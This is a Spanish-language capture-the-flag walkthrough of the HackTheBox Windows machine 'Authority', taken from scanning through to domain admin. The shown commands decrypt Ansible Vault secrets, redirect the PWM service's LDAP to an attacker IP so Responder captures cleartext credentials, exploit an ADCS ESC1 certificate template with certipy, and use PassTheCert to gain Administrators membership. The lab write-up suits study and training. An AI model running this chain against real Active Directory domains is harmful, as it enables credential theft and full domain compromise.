Authority es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Authority 10.129.10.193 a /etc/hosts como authority.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
$ nmap -p- --open --min-rate 5000 -n -vvv -oA enumeration/nmap1 10.129.10.193 Nmap scan report for 10.129.10.193 Host is up, received echo-reply ttl 127 (0.034s latency). Scanned at 2023-07-16 06:48:52 GMT for 21s Not shown: 63542 closed tcp ports (reset), 1964 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 53/tcp open domain syn-ack ttl 127 80/tcp open http syn-ack ttl 127 88/tcp open kerberos-sec syn-ack ttl 127 135/tcp open msrpc syn-ack ttl 127 139/tcp open netbios-ssn syn-ack ttl 127 389/tcp open ldap syn-ack ttl 127 445/tcp open microsoft-ds syn-ack ttl 127 464/tcp open kpasswd5 syn-ack ttl 127 593/tcp open http-rpc-epmap syn-ack ttl 127 636/tcp open ldapssl syn-ack ttl 127 3268/tcp open globalcatLDAP syn-ack ttl 127 3269/tcp open globalcatLDAPssl syn-ack ttl 127 5985/tcp open wsman syn-ack ttl 127 8443/tcp open https-alt syn-ack ttl 127 9389/tcp open adws syn-ack ttl 127 47001/tcp open winrm syn-ack ttl 127 49664/tcp open unknown syn-ack ttl 127 49665/tcp open unknown syn-ack ttl 127 49666/tcp open unknown syn-ack ttl 127 49667/tcp open unknown syn-ack ttl 127 49671/tcp open unknown syn-ack ttl 127 49686/tcp open unknown syn-ack ttl 127 49687/tcp open unknown syn-ack ttl 127 49689/tcp open unknown syn-ack ttl 127 49690/tcp open unknown syn-ack ttl 127 49699/tcp open unknown syn-ack ttl 127 49711/tcp open unknown syn-ack ttl 127 49718/tcp open unknown syn-ack ttl 127 64842/tcp open unknown syn-ack ttl 127 Read data files from: /usr/bin/../share/nmap # Nmap done at Sun Jul 16 06:49:13 2023 -- 1 IP address (1 host up) scanned in 21.62 seconds |
Una vez hecho el escaneo rápido, vamos a hacer uno más completo sobre los puertos descubiertos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 |
nmap -sCV -p 53,80,88,135,139,389,445,464,593,636,3268,3269,8443,5985,9389,47001,49664,49665,49666,49667,49671,49686,49687,49689,49690,49699,49711,49718,64842 -oA enumeration/nmap2 10.129.10.193 Nmap scan report for 10.129.10.193 Host is up (0.036s latency). PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: IIS Windows Server |_http-server-header: Microsoft-IIS/10.0 | http-methods: |_ Potentially risky methods: TRACE 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-07-16 10:51:12Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB | Not valid before: 2022-08-09T23:03:21 |_Not valid after: 2024-08-09T23:13:21 |_ssl-date: 2023-07-16T10:52:17+00:00; +3h59m58s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB | Not valid before: 2022-08-09T23:03:21 |_Not valid after: 2024-08-09T23:13:21 |_ssl-date: 2023-07-16T10:52:17+00:00; +3h59m58s from scanner time. 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB | Not valid before: 2022-08-09T23:03:21 |_Not valid after: 2024-08-09T23:13:21 |_ssl-date: 2023-07-16T10:52:17+00:00; +3h59m58s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name) |_ssl-date: 2023-07-16T10:52:17+00:00; +3h59m58s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: othername: UPN::AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB | Not valid before: 2022-08-09T23:03:21 |_Not valid after: 2024-08-09T23:13:21 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 8443/tcp open ssl/https-alt | ssl-cert: Subject: commonName=172.16.2.118 | Not valid before: 2023-07-14T02:02:20 |_Not valid after: 2025-07-15T13:40:44 |_ssl-date: TLS randomness does not represent time | fingerprint-strings: | FourOhFourRequest, GetRequest: | HTTP/1.1 200 | Content-Type: text/html;charset=ISO-8859-1 | Content-Length: 82 | Date: Sun, 16 Jul 2023 10:51:18 GMT | Connection: close | <html><head><meta http-equiv="refresh" content="0;URL='/pwm'"/></head></html> | HTTPOptions: | HTTP/1.1 200 | Allow: GET, HEAD, POST, OPTIONS | Content-Length: 0 | Date: Sun, 16 Jul 2023 10:51:18 GMT | Connection: close | RTSPRequest: | HTTP/1.1 400 | Content-Type: text/html;charset=utf-8 | Content-Language: en | Content-Length: 1936 | Date: Sun, 16 Jul 2023 10:51:24 GMT | Connection: close | <!doctype html><html lang="en"><head><title>HTTP Status 400 | Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 |_ Request</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> Invalid character found in the HTTP protocol [RTSP/1.00x0d0x0a0x0d0x0a...]</p><p><b>Description</b> The server cannot or will not process the request due to something that is perceived to be a client error (e.g., malformed request syntax, invalid |_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1). 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49671/tcp open msrpc Microsoft Windows RPC 49686/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49687/tcp open msrpc Microsoft Windows RPC 49689/tcp open msrpc Microsoft Windows RPC 49690/tcp open msrpc Microsoft Windows RPC 49699/tcp open msrpc Microsoft Windows RPC 49711/tcp open msrpc Microsoft Windows RPC 49718/tcp open msrpc Microsoft Windows RPC 64842/tcp open msrpc Microsoft Windows RPC 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8443-TCP:V=7.93%T=SSL%I=7%D=7/16%Time=64B39368%P=x86_64-pc-linux-gn SF:u%r(GetRequest,DB,"HTTP/1\.1\x20200\x20\r\nContent-Type:\x20text/html;c SF:harset=ISO-8859-1\r\nContent-Length:\x2082\r\nDate:\x20Sun,\x2016\x20Ju SF:l\x202023\x2010:51:18\x20GMT\r\nConnection:\x20close\r\n\r\n\n\n\n\n\n< SF:html><head><meta\x20http-equiv=\"refresh\"\x20content=\"0;URL='/pwm'\"/ SF:></head></html>")%r(HTTPOptions,7D,"HTTP/1\.1\x20200\x20\r\nAllow:\x20G SF:ET,\x20HEAD,\x20POST,\x20OPTIONS\r\nContent-Length:\x200\r\nDate:\x20Su SF:n,\x2016\x20Jul\x202023\x2010:51:18\x20GMT\r\nConnection:\x20close\r\n\ SF:r\n")%r(FourOhFourRequest,DB,"HTTP/1\.1\x20200\x20\r\nContent-Type:\x20 SF:text/html;charset=ISO-8859-1\r\nContent-Length:\x2082\r\nDate:\x20Sun,\ SF:x2016\x20Jul\x202023\x2010:51:18\x20GMT\r\nConnection:\x20close\r\n\r\n SF:\n\n\n\n\n<html><head><meta\x20http-equiv=\"refresh\"\x20content=\"0;UR SF:L='/pwm'\"/></head></html>")%r(RTSPRequest,82C,"HTTP/1\.1\x20400\x20\r\ SF:nContent-Type:\x20text/html;charset=utf-8\r\nContent-Language:\x20en\r\ SF:nContent-Length:\x201936\r\nDate:\x20Sun,\x2016\x20Jul\x202023\x2010:51 SF::24\x20GMT\r\nConnection:\x20close\r\n\r\n<!doctype\x20html><html\x20la SF:ng=\"en\"><head><title>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20 SF:Request</title><style\x20type=\"text/css\">body\x20{font-family:Tahoma, SF:Arial,sans-serif;}\x20h1,\x20h2,\x20h3,\x20b\x20{color:white;background SF:-color:#525D76;}\x20h1\x20{font-size:22px;}\x20h2\x20{font-size:16px;}\ SF:x20h3\x20{font-size:14px;}\x20p\x20{font-size:12px;}\x20a\x20{color:bla SF:ck;}\x20\.line\x20{height:1px;background-color:#525D76;border:none;}</s SF:tyle></head><body><h1>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20R SF:equest</h1><hr\x20class=\"line\"\x20/><p><b>Type</b>\x20Exception\x20Re SF:port</p><p><b>Message</b>\x20Invalid\x20character\x20found\x20in\x20the SF:\x20HTTP\x20protocol\x20\[RTSP/1\.00x0d0x0a0x0d0x0a\.\.\.\]</p><p>< SF:b>Description</b>\x20The\x20server\x20cannot\x20or\x20will\x20not\x20pr SF:ocess\x20the\x20request\x20due\x20to\x20something\x20that\x20is\x20perc SF:eived\x20to\x20be\x20a\x20client\x20error\x20\(e\.g\.,\x20malformed\x20 SF:request\x20syntax,\x20invalid\x20"); Service Info: Host: AUTHORITY; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2023-07-16T10:52:08 |_ start_date: N/A | smb2-security-mode: | 311: |_ Message signing enabled and required |_clock-skew: mean: 3h59m57s, deviation: 0s, median: 3h59m57s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Jul 16 06:52:19 2023 -- 1 IP address (1 host up) scanned in 74.33 seconds |
Enumeración
Comenzamos la enumeración revisando los directorios compartidos en el smb
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
$ smbclient -N -L //10.129.10.193/ Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share Department Shares Disk Development Disk IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 10.129.10.193 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available $ smbclient -N //10.129.10.193/Development/ Try "help" to get a list of possible commands. smb: \> ls . D 0 Fri Mar 17 13:20:38 2023 .. D 0 Fri Mar 17 13:20:38 2023 Automation D 0 Fri Mar 17 13:20:40 2023 5888511 blocks of size 4096. 1335157 blocks available smb: \> ls Automation Automation D 0 Fri Mar 17 13:20:40 2023 5888511 blocks of size 4096. 1335157 blocks available smb: \> cd Automation smb: \Automation\> ls . D 0 Fri Mar 17 13:20:40 2023 .. D 0 Fri Mar 17 13:20:40 2023 Ansible D 0 Fri Mar 17 13:20:50 2023 5888511 blocks of size 4096. 1335157 blocks available smb: \Automation\> cd Ansible smb: \Automation\Ansible\> ls . D 0 Fri Mar 17 13:20:50 2023 .. D 0 Fri Mar 17 13:20:50 2023 ADCS D 0 Fri Mar 17 13:20:48 2023 LDAP D 0 Fri Mar 17 13:20:48 2023 PWM D 0 Fri Mar 17 13:20:48 2023 SHARE D 0 Fri Mar 17 13:20:48 2023 5888511 blocks of size 4096. 1335157 blocks available |
Tenemos acceso al disco Development así que vamos a descargarnos todo su contenido con smbget
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 |
$ smbget -R smb://10.129.10.193/Development/ Password for [asdf] connecting to //10.129.10.193/Development: Using workgroup WORKGROUP, user asdf smb://10.129.10.193/Development//Automation/Ansible/ADCS/.ansible-lint smb://10.129.10.193/Development//Automation/Ansible/ADCS/.yamllint smb://10.129.10.193/Development//Automation/Ansible/ADCS/defaults/main.yml smb://10.129.10.193/Development//Automation/Ansible/ADCS/LICENSE smb://10.129.10.193/Development//Automation/Ansible/ADCS/meta/main.yml smb://10.129.10.193/Development//Automation/Ansible/ADCS/meta/preferences.yml smb://10.129.10.193/Development//Automation/Ansible/ADCS/molecule/default/converge.yml smb://10.129.10.193/Development//Automation/Ansible/ADCS/molecule/default/molecule.yml smb://10.129.10.193/Development//Automation/Ansible/ADCS/molecule/default/prepare.yml smb://10.129.10.193/Development//Automation/Ansible/ADCS/README.md smb://10.129.10.193/Development//Automation/Ansible/ADCS/requirements.txt smb://10.129.10.193/Development//Automation/Ansible/ADCS/requirements.yml smb://10.129.10.193/Development//Automation/Ansible/ADCS/SECURITY.md smb://10.129.10.193/Development//Automation/Ansible/ADCS/tasks/assert.yml smb://10.129.10.193/Development//Automation/Ansible/ADCS/tasks/generate_ca_certs.yml smb://10.129.10.193/Development//Automation/Ansible/ADCS/tasks/init_ca.yml smb://10.129.10.193/Development//Automation/Ansible/ADCS/tasks/main.yml smb://10.129.10.193/Development//Automation/Ansible/ADCS/tasks/requests.yml smb://10.129.10.193/Development//Automation/Ansible/ADCS/templates/extensions.cnf.j2 smb://10.129.10.193/Development//Automation/Ansible/ADCS/templates/openssl.cnf.j2 smb://10.129.10.193/Development//Automation/Ansible/ADCS/tox.ini smb://10.129.10.193/Development//Automation/Ansible/ADCS/vars/main.yml smb://10.129.10.193/Development//Automation/Ansible/LDAP/.bin/clean_vault smb://10.129.10.193/Development//Automation/Ansible/LDAP/.bin/diff_vault smb://10.129.10.193/Development//Automation/Ansible/LDAP/.bin/smudge_vault smb://10.129.10.193/Development//Automation/Ansible/LDAP/.travis.yml smb://10.129.10.193/Development//Automation/Ansible/LDAP/defaults/main.yml smb://10.129.10.193/Development//Automation/Ansible/LDAP/files/pam_mkhomedir smb://10.129.10.193/Development//Automation/Ansible/LDAP/handlers/main.yml smb://10.129.10.193/Development//Automation/Ansible/LDAP/meta/main.yml smb://10.129.10.193/Development//Automation/Ansible/LDAP/README.md smb://10.129.10.193/Development//Automation/Ansible/LDAP/tasks/main.yml smb://10.129.10.193/Development//Automation/Ansible/LDAP/templates/ldap_sudo_groups.j2 smb://10.129.10.193/Development//Automation/Ansible/LDAP/templates/ldap_sudo_users.j2 smb://10.129.10.193/Development//Automation/Ansible/LDAP/templates/sssd.conf.j2 smb://10.129.10.193/Development//Automation/Ansible/LDAP/templates/sudo_group.j2 smb://10.129.10.193/Development//Automation/Ansible/LDAP/TODO.md smb://10.129.10.193/Development//Automation/Ansible/LDAP/Vagrantfile smb://10.129.10.193/Development//Automation/Ansible/LDAP/vars/debian.yml smb://10.129.10.193/Development//Automation/Ansible/LDAP/vars/main.yml smb://10.129.10.193/Development//Automation/Ansible/LDAP/vars/redhat.yml smb://10.129.10.193/Development//Automation/Ansible/LDAP/vars/ubuntu-14.04.yml smb://10.129.10.193/Development//Automation/Ansible/PWM/ansible.cfg smb://10.129.10.193/Development//Automation/Ansible/PWM/ansible_inventory smb://10.129.10.193/Development//Automation/Ansible/PWM/defaults/main.yml smb://10.129.10.193/Development//Automation/Ansible/PWM/handlers/main.yml smb://10.129.10.193/Development//Automation/Ansible/PWM/meta/main.yml smb://10.129.10.193/Development//Automation/Ansible/PWM/README.md smb://10.129.10.193/Development//Automation/Ansible/PWM/tasks/main.yml smb://10.129.10.193/Development//Automation/Ansible/PWM/templates/context.xml.j2 smb://10.129.10.193/Development//Automation/Ansible/PWM/templates/tomcat-users.xml.j2 smb://10.129.10.193/Development//Automation/Ansible/SHARE/tasks/main.yml |
Revisamos en detalle los ficheros existentes y obtenemos unos hashes de ansible vault en el fichero main.yml
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
$ cat Automation/Ansible/PWM/defaults/main.yml --- pwm_run_dir: "{{ lookup('env', 'PWD') }}" pwm_hostname: authority.htb.corp pwm_http_port: "{{ http_port }}" pwm_https_port: "{{ https_port }}" pwm_https_enable: true pwm_require_ssl: false pwm_admin_login: !vault | $ANSIBLE_VAULT;1.1;AES256 32666534386435366537653136663731633138616264323230383566333966346662313161326239 6134353663663462373265633832356663356239383039640a346431373431666433343434366139 35653634376333666234613466396534343030656165396464323564373334616262613439343033 6334326263326364380a653034313733326639323433626130343834663538326439636232306531 3438 pwm_admin_password: !vault | $ANSIBLE_VAULT;1.1;AES256 31356338343963323063373435363261323563393235633365356134616261666433393263373736 3335616263326464633832376261306131303337653964350a363663623132353136346631396662 38656432323830393339336231373637303535613636646561653637386634613862316638353530 3930356637306461350a316466663037303037653761323565343338653934646533663365363035 6531 ldap_uri: ldap://127.0.0.1/ ldap_base_dn: "DC=authority,DC=htb" ldap_admin_password: !vault | $ANSIBLE_VAULT;1.1;AES256 63303831303534303266356462373731393561313363313038376166336536666232626461653630 3437333035366235613437373733316635313530326639330a643034623530623439616136363563 34646237336164356438383034623462323531316333623135383134656263663266653938333334 3238343230333633350a646664396565633037333431626163306531336336326665316430613566 3764 |
Buscando en google encontramos un post donde explica como romper estos hashes.
Para ello necesitaremos instalar ansible-vault, si no lo tenemos ya
|
1 |
pip install ansible-vault |
Guardamos cada hash en un fichero independiente y desciframos los 3
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ cat vault1.yml | ansible-vault decrypt Vault password: Decryption successful svc_pwm $ cat vault2.yml | ansible-vault decrypt Vault password: Decryption successful pWm_@dm!N_!23 $ cat vault3.yml | ansible-vault decrypt Vault password: Decryption successful DevT3st@123 |
Y tenemos ya 3 posibles claves, el siguiente paso será acceder al portal web en el puerto 8443, donde vemos el siguiente formulario de login

Vamos a la sección de configuración y conseguimos saltar la restricción con una de las passwords descubiertas

Descargamos el fichero de configuración y editaremos el mismo, sustituyendo la siguiente línea
|
1 |
<value>ldaps://authority.authority.htb:636</value> |
Por esta otra
|
1 |
<value>ldap://10.10.14.48:389</value> |
De esta forma provocamos que la aplicación consulte contra nuestro servidor ldap en lugar del configurado localmente para la aplicación. Así vamos a tratar de provocar que se intente autentificar contra el mismo y conseguir el hash ntlm del usuario que sirve la aplicación.
Levantamos responder y guardamos los cambios
|
1 |
$ sudo responder -I tun0 |
Y a los pocos segundos obtendremos las claves del usuario svc_ldap
|
1 2 3 4 5 |
[LDAP] Cleartext Client : 10.129.10.193 [LDAP] Cleartext Username : CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb [LDAP] Cleartext Password : lDaP_1n_th3_cle4r! [*] Skipping previously captured cleartext password for CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb [*] Skipping previously captured cleartext password for CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb |
Obteniendo la flag de user
Conectamos a la máquina con las claves obtenidas y obtenemos la flag de user
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
$ evil-winrm -i authority.htb -u svc_ldap -p "lDaP_1n_th3_cle4r!" Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\svc_ldap\Documents> whoami htb\svc_ldap *Evil-WinRM* PS C:\Users\svc_ldap\Documents> # y cogemos la primera flag *Evil-WinRM* PS C:\Users\svc_ldap\Documents> dir ../Desktop/ Directory: C:\Users\svc_ldap\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 7/15/2023 10:04 PM 34 user.txt *Evil-WinRM* PS C:\Users\svc_ldap\Documents> cd ../Desktop *Evil-WinRM* PS C:\Users\svc_ldap\Desktop> cat user.txt e9e9572bdb0acb40df8ab94b3c8f3796 *Evil-WinRM* PS C:\Users\svc_ldap\Desktop> |
Escalado de privilegios
Enumeramos el servidor y encontramos un directorio interesante en la raíz
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
*Evil-WinRM* PS C:\> dir Directory: C:\ Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 4/23/2023 6:16 PM Certs d----- 3/28/2023 1:59 PM Department Shares d----- 3/17/2023 9:20 AM Development d----- 8/9/2022 7:00 PM inetpub d----- 3/24/2023 8:22 PM PerfLogs d-r--- 3/25/2023 1:20 AM Program Files d----- 3/25/2023 1:19 AM Program Files (x86) d----- 7/16/2023 8:56 PM pwm d-r--- 3/24/2023 11:27 PM Users d----- 7/12/2023 1:19 PM Windows -a---- 8/10/2022 8:44 PM 84784749 pwm-onejar-2.0.3.jar *Evil-WinRM* PS C:\> |
Y dentro del directorio Certs, encontramos un certificado pfx utilizado, según el nombre, en el servidor LDAP
|
1 2 3 4 5 6 7 8 9 |
*Evil-WinRM* PS C:\Certs> dir Directory: C:\Certs Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 4/23/2023 6:11 PM 4933 LDAPs.pfx |
Es posible que disponga de alguna plantilla de certificado vulnerable, a través de la cual podamos escalar privilegios, podemos ver como conseguir esto en un post que explica el ataque de templates vulnerables.
Así que para probar si es vulnerable descargamos la tool de Certipy
Ejecutamos y encontramos una plantilla vulnerable
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 |
$ certipy find -vulnerable -stdout -u svc_ldap@authority.htb -p "lDaP_1n_th3_cle4r!" -dc-ip 10.129.10.193 Certipy v4.4.0 - by Oliver Lyak (ly4k) [*] Finding certificate templates [*] Found 37 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 13 enabled certificate templates [*] Trying to get CA configuration for 'AUTHORITY-CA' via CSRA [!] Got error while trying to get CA configuration for 'AUTHORITY-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error. [*] Trying to get CA configuration for 'AUTHORITY-CA' via RRP [!] Failed to connect to remote registry. Service should be starting now. Trying again... [*] Got CA configuration for 'AUTHORITY-CA' [*] Enumeration output: Certificate Authorities 0 CA Name : AUTHORITY-CA DNS Name : authority.authority.htb Certificate Subject : CN=AUTHORITY-CA, DC=authority, DC=htb Certificate Serial Number : 2C4E1F3CA46BBDAF42A1DDE3EC33A6B4 Certificate Validity Start : 2023-04-24 01:46:26+00:00 Certificate Validity End : 2123-04-24 01:56:25+00:00 Web Enrollment : Disabled User Specified SAN : Disabled Request Disposition : Issue Enforce Encryption for Requests : Enabled Permissions Owner : AUTHORITY.HTB\Administrators Access Rights ManageCa : AUTHORITY.HTB\Administrators AUTHORITY.HTB\Domain Admins AUTHORITY.HTB\Enterprise Admins ManageCertificates : AUTHORITY.HTB\Administrators AUTHORITY.HTB\Domain Admins AUTHORITY.HTB\Enterprise Admins Enroll : AUTHORITY.HTB\Authenticated Users Certificate Templates 0 Template Name : CorpVPN Display Name : Corp VPN Certificate Authorities : AUTHORITY-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Enrollment Flag : IncludeSymmetricAlgorithms PublishToDs AutoEnrollmentCheckUserDsCertificate Private Key Flag : ExportableKey Extended Key Usage : Encrypting File System Secure Email Client Authentication Document Signing IP security IKE intermediate IP security use KDC Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Validity Period : 20 years Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Permissions Enrollment Permissions Enrollment Rights : AUTHORITY.HTB\Domain Computers AUTHORITY.HTB\Domain Admins AUTHORITY.HTB\Enterprise Admins Object Control Permissions Owner : AUTHORITY.HTB\Administrator Write Owner Principals : AUTHORITY.HTB\Domain Admins AUTHORITY.HTB\Enterprise Admins AUTHORITY.HTB\Administrator Write Dacl Principals : AUTHORITY.HTB\Domain Admins AUTHORITY.HTB\Enterprise Admins AUTHORITY.HTB\Administrator Write Property Principals : AUTHORITY.HTB\Domain Admins AUTHORITY.HTB\Enterprise Admins AUTHORITY.HTB\Administrator [!] Vulnerabilities ESC1 : 'AUTHORITY.HTB\\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication |
Revisando la plantilla es posible crear certificados sólo para equipos en el dominio, así que añadiremos uno con la herramienta addcomputer de impacket.
|
1 2 3 4 |
$ impacket-addcomputer authority.htb/svc_ldap:"lDaP_1n_th3_cle4r!" -computer-name ASDF -computer-pass ASDF123 Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [*] Successfully added machine account ASDF$ with password ASDF123. |
El siguiente paso será solicitar un certificado aprovechando la plantilla vulnerable
|
1 2 3 4 5 6 7 8 9 10 11 |
$ certipy req -u "ASDF$" -p "ASDF123" -dc-ip 10.129.10.193 -template CorpVPN -ca AUTHORITY-CA -upn administrator@authority.htb -target authority.htb -dns authority.authority.htb Certipy v4.4.0 - by Oliver Lyak (ly4k) [*] Requesting certificate via RPC [*] Successfully requested certificate [*] Request ID is 5 [*] Got certificate with multiple identifications UPN: 'administrator@authority.htb' DNS Host Name: 'authority.authority.htb' [*] Certificate has no object SID [*] Saved certificate and private key to 'administrator_authority.pfx' |
En este caso, la autenticación por certificado, no funciona con certipy así que vamos a realizarla utilizando otra técnica.
Obtenemos el certificado y la key del pfx generado
|
1 2 3 4 5 6 7 8 9 |
$ certipy cert -pfx administrator_authority.pfx -nokey -out user.crt Certipy v4.4.0 - by Oliver Lyak (ly4k) [*] Writing certificate and to 'user.crt' $ certipy cert -pfx administrator_authority.pfx -nocert -out user.key Certipy v4.4.0 - by Oliver Lyak (ly4k) [*] Writing private key to 'user.key' |
Y utilizaremos la herramienta PassTheCert para añadir al usuario svc_ldap al grupo de administradores
|
1 2 3 4 5 6 7 8 9 |
$ python3 passthecert.py -action ldap-shell -crt /home/asdf/current/keys/certificate/user.crt -key /home/asdf/current/keys/certificate/user.key -domain authority.htb -dc-ip 10.129.10.193 Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation Type help for list of commands # add_user_to_group svc_ldap Administrators Adding user: svc_ldap to group Administrators result: OK # |
Una vez realizado, revisamos los permisos del usuario y vemos que estamos en el grupo de administradores
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
*Evil-WinRM* PS C:\Users> net user svc_ldap User name svc_ldap Full Name Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 8/10/2022 9:29:31 PM Password expires Never Password changeable 8/11/2022 9:29:31 PM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 7/5/2023 8:43:09 PM Logon hours allowed All Local Group Memberships *Administrators *Remote Management Use Global Group memberships *Domain Users The command completed successfully. |
Obteniendo la flag de root
Así que teniendo permisos, vamos a por la flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
*Evil-WinRM* PS C:\Users> dir Administrator\desktop Directory: C:\Users\Administrator\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 7/15/2023 10:04 PM 34 root.txt *Evil-WinRM* PS C:\Users> type Administrator\desktop\root.txt ef10aaa461a0e8e52a47f7ba127716e4 |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










